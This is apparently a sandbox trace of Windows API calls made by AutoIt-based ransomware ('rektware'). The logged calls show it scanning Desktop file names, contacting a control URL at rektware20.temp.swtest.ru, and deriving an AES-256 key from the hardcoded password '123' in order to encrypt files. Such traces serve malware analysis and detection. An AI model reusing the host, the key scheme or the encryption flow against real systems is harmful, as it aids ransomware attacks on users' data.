[0078.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\_PTR1-1QI.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\_PTR1-1QI.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\_PTR1-1QI.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\_PTR1-1QI.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\_PTR1-1QI.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\_PTR1-1QI.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\_PTR1-1QI.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\_PTR1-1QI.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\_PTR1-1QI.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\_PTR1-1QI.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\_PTR1-1QI.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\_PTR1-1QI.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\_PTR1-1QI.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\_PTR1-1QI.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\_PTR1-1QI.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\_PTR1-1QI.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\_PTR1-1QI.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\_PTR1-1QI.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\_PTR1-1QI.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\_PTR1-1QI.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\_PTR1-1QI.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\_PTR1-1QI.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\_PTR1-1QI.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\_PTR1-1QI.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\_PTR1-1QI.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\_PTR1-1QI.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_PTR1-1QI.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PTR1-1QI.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TR1-1QI.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="R1-1QI.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1-1QI.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-1QI.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1QI.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="QI.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="I.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0078.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.794] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.794] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0078.794] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0078.794] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0078.794] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0078.794] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0078.794] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0078.794] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0078.794] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f10, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620f10, lpdwBufferLength=0x130ee1c) returned 1 [0078.794] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0078.794] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0078.794] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0078.796] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0078.796] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0078.796] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0078.796] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629170, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629170*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0078.796] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629480, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629480*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0078.796] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0078.797] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0078.797] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0078.797] CloseHandle (hObject=0x0) returned 0 [0078.797] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.797] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\_PTR1-1QI.pptx", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d130 [0078.797] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0078.797] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.797] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0078.797] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.797] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.797] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0078.797] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.797] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0078.798] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.798] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.798] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0078.798] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.798] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.798] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.798] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.798] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.798] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0078.798] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0078.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e290, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0078.798] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0078.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0078.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e290, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0078.798] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0078.798] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1631bb0) returned 1 [0078.799] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.799] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.799] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0078.799] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.799] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.799] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.799] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.799] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.799] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0078.799] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.799] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.799] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.799] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.799] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.799] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.799] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0078.800] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.800] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.800] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0078.800] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.800] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.800] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0078.800] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.800] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.800] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0078.800] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.800] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.819] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.820] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.820] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.820] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.820] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.820] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0078.820] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.820] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0078.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621408, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0078.820] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0078.820] CryptCreateHash (in: hProv=0x1631bb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0078.820] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.820] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.821] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.821] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0078.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294f0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0078.821] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0078.821] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0078.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629410, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0078.821] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.821] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.821] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.821] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0078.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621810, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0078.821] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0078.822] CryptHashData (hHash=0x164c930, pbData=0x1629510, dwDataLen=0x3, dwFlags=0x1) returned 1 [0078.822] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.822] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.822] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.822] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.822] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.822] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0078.822] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.822] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0078.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621798, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0078.822] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0078.822] CryptDeriveKey (in: hProv=0x1631bb0, Algid=0x6610, hBaseData=0x164c930, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c4f0) returned 1 [0078.822] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.823] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 